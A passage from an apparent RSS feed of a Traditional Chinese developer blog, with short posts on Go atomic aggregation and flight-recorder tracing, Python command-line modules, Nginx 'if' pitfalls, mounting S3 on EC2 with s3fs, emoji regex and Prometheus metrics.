&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">sumT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// name does not match idData so jump to next entry&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> = (&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">delta&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">capacity&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> = (&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">delta&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&lt;/span> uint64(&lt;span style="color:#a6e22e">capacity&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span> = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">results&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">total&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">total&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#a6e22e">total&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">entry&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span>) &lt;span style="color:#a6e22e">update&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">minT&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">minT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">minT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">minT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">maxT&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">temp&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">CompareAndSwap&lt;/span>(&lt;span style="color:#a6e22e">maxT&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxT&lt;/span> = &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">maxT&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">sumT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">entry&lt;/span>.&lt;span style="color:#a6e22e">countT&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Python 的多種命令列工具</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240706-cli-tools/</link><pubDate>Sat, 06 Jul 2024 20:39:01 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240706-cli-tools/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.pythonmorsels.com/cli-tools/" target="_blank" rel="noopener">Python 的多種命令列工具&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>這些是 Python 最實用的通用命令列工具。&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Purpose&lt;/th>
&lt;th>More&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;code>python -m http.server&lt;/code>&lt;/td>
&lt;td>啟動簡易網頁伺服器&lt;/td>
&lt;td>&lt;a href="https://www.pythonmorsels.com/http-server/" target="_blank" rel="noopener">Video&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>python -m webbrowser&lt;/code>&lt;/td>
&lt;td>開啟預設瀏覽器&lt;/td>
&lt;td>&lt;a href="https://docs.python.org/3/library/webbrowser.html#command-line-interface" target="_blank" rel="noopener">Docs&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>python -m json.tool&lt;/code>&lt;/td>
&lt;td>以更易讀的格式輸出 JSON 資料&lt;/td>
&lt;td>&lt;a href="https://docs.python.org/3/library/json.html#module-json.tool" target="_blank" rel="noopener">Docs&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>python -m calendar&lt;/code>&lt;/td>
&lt;td>顯示命令列月曆&lt;/td>
&lt;td>&lt;a href="https://docs.python.org/3/library/calendar.html#command-line-usage" target="_blank" rel="noopener">Docs&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="httpserver">&lt;code>http.server&lt;/code>&lt;/h3>
&lt;p>將 &lt;code>http.server&lt;/code> 模組以腳本執行後，會在 8000 埠啟動一個 web server，並提供目前目錄中的檔案。我常常用它來預覽 Sphinx 文件網站（尤其是使用 &lt;code>dirhtml&lt;/code> 選項時，會以 &lt;code>index.html&lt;/code> 的子目錄結構呈現）。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ python -m http.server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="webbrowser">&lt;code>webbrowser&lt;/code>&lt;/h3>
&lt;p>將 &lt;code>webbrowser&lt;/code> 模組以腳本執行時，會用預設瀏覽器開啟指定 URL。例如，這會開啟 &lt;a href="https://pseudorandom.name" target="_blank" rel="noopener">https://pseudorandom.name&lt;/a>：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ python -m webbrowser pseudorandom.name
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="jsontool">&lt;code>json.tool&lt;/code>&lt;/h3>
&lt;p>&lt;code>json.tool&lt;/code> 模組可以當作腳本執行，會解析 JSON 文件並輸出更適合人閱讀的格式。&lt;/p></description></item><item><title>Go LeetCode</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240620-leetcode/</link><pubDate>Thu, 20 Jun 2024 18:15:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240620-leetcode/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://books.halfrost.com/leetcode/" target="_blank" rel="noopener">https://books.halfrost.com/leetcode/&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Nginx if 避坑指南</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240615-if-is-evil/</link><pubDate>Sat, 15 Jun 2024 19:55:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240615-if-is-evil/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://taoshu.in/nginx/if-is-evil.html" target="_blank" rel="noopener">Nginx if 避坑指南&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://archive.ph/hyEoc" target="_blank" rel="noopener">If is Evil&amp;hellip; when used in location context&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>if 指令由 rewrite 模块提供，显然它主要是用于 URL 重写领域。典型的 if 用法如下：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">http&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">8080&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span> &lt;span style="color:#e6db74">(&lt;/span>$http_user_agent ~ &lt;span style="color:#e6db74">MSIE)&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">rewrite&lt;/span> &lt;span style="color:#e6db74">^(.*)&lt;/span>$ &lt;span style="color:#e6db74">/msie/&lt;/span>$1 &lt;span style="color:#e6db74">break&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span> &lt;span style="color:#e6db74">(&lt;/span>$request_method = &lt;span style="color:#e6db74">POST)&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">405&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>上例中第一个 if 检查如果 user agent 字符串中包含 MSIE，就把 URL 重写为 /msie 开头的路径，这样就可以给微软的 IE 浏览器提供特供版本内容。&lt;/p>
&lt;p>第二个 if 检查当前请求的 HTTP 方法，如果是 POST 请求则直接返回 405 状态码。&lt;/p>
&lt;p>以上就是 if 最典型的用法，也是 Nginx 最初设想的用法～但很快就被用户玩坏了 😂&lt;/p>
&lt;p>天下苦静态配置久矣，Nginx 终于支持动态配置了 👏 这个 if 不就是 c 语言里的条件判断吗？大家玩起来 🎢&lt;/p></description></item><item><title>在 Amazon EC2 上掛載 AWS S3 Bucket</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240609-mount-aws-s3-bucket-on-amazon-ec2-9f18b48d4f04/</link><pubDate>Sun, 09 Jun 2024 15:37:30 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240609-mount-aws-s3-bucket-on-amazon-ec2-9f18b48d4f04/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://surajblog.medium.com/mount-aws-s3-bucket-on-amazon-ec2-9f18b48d4f04" target="_blank" rel="noopener">在 Amazon EC2 上掛載 AWS S3 Bucket&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;em>使用情境&lt;/em>&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>資料備份與封存：有效率地從 S3 儲存與取回資料，用於可靠備份與長期封存。&lt;/li>
&lt;li>大數據與分析：直接存取 S3 中的大型資料集，進行順暢的資料處理與分析。&lt;/li>
&lt;li>網站代管與內容分發：使用 S3 提供靜態內容，以高效率地託管網站與媒體檔案。&lt;/li>
&lt;li>日誌收集與分析：集中將日誌存放在 S3，方便分析與監控。&lt;/li>
&lt;li>檔案分享與協作：多台 EC2 透過 S3 作為共享資料庫來分享與協作。&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;em>先決條件&lt;/em>&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>一台執行 Linux 的 Amazon EC2 執行個體（Amazon Linux、Ubuntu、CentOS 等）。&lt;/li>
&lt;li>已附加具備存取 S3 Bucket 權限的 IAM 角色。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>sudo apt-get update -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get install awscli -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get install s3fs -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 建立 S3 bucket 的掛載點目錄&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo mkdir /mnt/s3-bucket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 同步本機目錄與 S3 bucket 以檢查存取&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd /mnt/s3-bucket ;touch test1.txt test2.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>aws s3 sync /mnt/s3-bucket s3://&amp;lt;your-s3-bucket-name&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 將 S3 bucket 掛載成檔案系統&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo s3fs &amp;lt;your-s3-bucket-name&amp;gt; /mnt/s3-bucket -o iam_role&lt;span style="color:#f92672">=&lt;/span>&amp;lt;iam-role-name&amp;gt; -o use_cache&lt;span style="color:#f92672">=&lt;/span>/tmp -o allow_other -o uid&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1001&lt;/span> -o mp_umask&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">002&lt;/span> -o multireq_max&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">5&lt;/span> -o use_path_request_style -o url&lt;span style="color:#f92672">=&lt;/span>https://s3-&lt;span style="color:#f92672">{{&lt;/span>aws_region&lt;span style="color:#f92672">}}&lt;/span>.amazonaws.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="除錯問題">除錯問題&lt;/h5>
&lt;p>需要除錯時，可加上：&lt;/p></description></item><item><title>WebP Cloud 使用 Cloudflare Workers 回源以保護回源伺服器並開始提供回源時間資訊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240609-cloudflare-workers-origin/</link><pubDate>Sun, 09 Jun 2024 10:49:45 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240609-cloudflare-workers-origin/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.webp.se/cloudflare-workers-origin-zh/" target="_blank" rel="noopener">WebP Cloud 使用 Cloudflare Workers 回源以保護回源伺服器並開始提供回源時間資訊&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Emoji 正则匹配</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240519-emoji-regexp/</link><pubDate>Sun, 19 May 2024 14:37:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240519-emoji-regexp/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://taxodium.ink/post/emoji-regexp/" target="_blank" rel="noopener">Emoji 正则匹配&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>/\p{Emoji}/u&lt;/code>&lt;/p>
&lt;p>既然是匹配 Emoji，那么 loneProperty (\p{loneProperty}) 就应该是 Emoji ? 实际测试并不符合需求，因为在 Emoji 官方文档中， 123456789*# 也是被看作是 Emoji， 如果用这个正则的话，就会把数字也认为是 Emoji，不符合只排除特殊表情的要求。&lt;/p>
&lt;p>&lt;code>/\p{Extended_Pictographic}/u&lt;/code>&lt;/p>
&lt;p>而 Extended_Pictographic 表示的 Emoji 才是我们认为的那些表情符号。&lt;/p></description></item><item><title>Prometheus relabeling and linux metrics</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240514-prometheus/</link><pubDate>Tue, 14 May 2024 13:49:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240514-prometheus/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://valyala.medium.com/how-to-use-relabeling-in-prometheus-and-victoriametrics-8b90fc22c4b2" target="_blank" rel="noopener">How to use relabeling in Prometheus and VictoriaMetrics&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://brian-candler.medium.com/interpreting-prometheus-metrics-for-linux-disk-i-o-utilization-4db53dfedcfc" target="_blank" rel="noopener">Interpreting Prometheus metrics for Linux disk I/O utilization&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tao.zz.ac/sre/prom.html" target="_blank" rel="noopener">Prometheus 简介&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Adding new label&lt;/em>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">target_label&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;foo&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">replacement&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;bar&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>metrics&lt;/em>&lt;/p>
&lt;ul>
&lt;li>rkB/s:
&lt;code>rate(node_disk_read_bytes_total[*])&lt;/code>
Unit: bytes per second&lt;/li>
&lt;li>wkB/s:
&lt;code>rate(node_disk_written_bytes_total[*])&lt;/code>
Unit: bytes per second&lt;/li>
&lt;/ul></description></item><item><title>LLMs Hackmd Docs</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240510-llm/</link><pubDate>Fri, 10 May 2024 10:08:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240510-llm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://hackmd.io/@whYPD8MBSHWRZV6y-ymFwQ/ryqUCfu6T" target="_blank" rel="noopener">大型語言模型 LLMs 課程教學 課程大綱 (四)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hackmd.io/cZPGG0gQRCuG7pZGV-SlEg" target="_blank" rel="noopener">大型語言模型 LLMs 課程教學 課程大綱 (五)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hackmd.io/@whYPD8MBSHWRZV6y-ymFwQ/Bk3TbayAp" target="_blank" rel="noopener">大型語言模型 LLMs 課程教學 課程大綱 (六)&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>LM STUDIO&lt;/li>
&lt;li>chromadb/chroma&lt;/li>
&lt;li>ollama/ollama&lt;/li>
&lt;li>mintplexlabs/anythingllm&lt;/li>
&lt;/ol></description></item><item><title>更強大的 Go 執行追蹤能力</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240507-go-trace/</link><pubDate>Tue, 07 May 2024 11:45:57 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240507-go-trace/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://colobu.com/2024/03/18/execution-traces-2024/" target="_blank" rel="noopener">更強大的 Go 執行追蹤能力&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="runtimetrace">runtime/trace&lt;/h3>
&lt;h3 id="golangorgxexptrace">golang.org/x/exp/trace&lt;/h3>
&lt;h4 id="飛行記錄flight-recording">飛行記錄（flight recording）&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 設定飛行記錄器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">fr&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">trace&lt;/span>.&lt;span style="color:#a6e22e">NewFlightRecorder&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">fr&lt;/span>.&lt;span style="color:#a6e22e">Start&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 設定並啟動 HTTP 伺服器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">once&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">Once&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">HandleFunc&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/my-endpoint&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">w&lt;/span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">ResponseWriter&lt;/span>, &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Request&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">start&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Now&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 做些事情&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">doWork&lt;/span>(&lt;span style="color:#a6e22e">w&lt;/span>, &lt;span style="color:#a6e22e">r&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 碰到長耗時請求就來個快照&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Since&lt;/span>(&lt;span style="color:#a6e22e">start&lt;/span>) &amp;gt; &lt;span style="color:#ae81ff">300&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Millisecond&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 這裡為了簡化只做一次，實際上你可以做多次&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">once&lt;/span>.&lt;span style="color:#a6e22e">Do&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 擷取快照&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">fr&lt;/span>.&lt;span style="color:#a6e22e">WriteTo&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
